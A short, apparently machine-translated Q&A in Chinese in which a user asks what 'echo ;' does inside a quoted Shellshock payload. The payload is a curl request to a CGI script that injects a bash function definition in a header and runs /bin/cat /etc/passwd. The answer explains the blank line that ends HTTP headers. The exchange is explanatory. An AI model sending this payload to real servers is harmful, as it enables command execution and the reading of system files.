Echo
此砲擊攻擊中的分號點
我正在審查一次砲擊攻擊,但不理解這段程式碼:
curl -v http://localhost/cgi-bin/shellshock.cgi -H "custom:() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd "
我不明白的部分是
echo ;
在遠端機器上實際執行的命令中在 /etc/passwd 上回顯 Content-Type 和 /bin/cat 之間的功能。這裡的作用是
echo ;
什麼?謝謝。
這就是 HTTP 的建構方式。HTTP 標頭後必須有一個空行。這就是孤獨
echo
產生的結果。比較這兩個:
echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
和:
echo Content-Type: text/html; /bin/cat /etc/passwd
現在應該很明顯了
echo ;
。(當然,分號分隔命令。)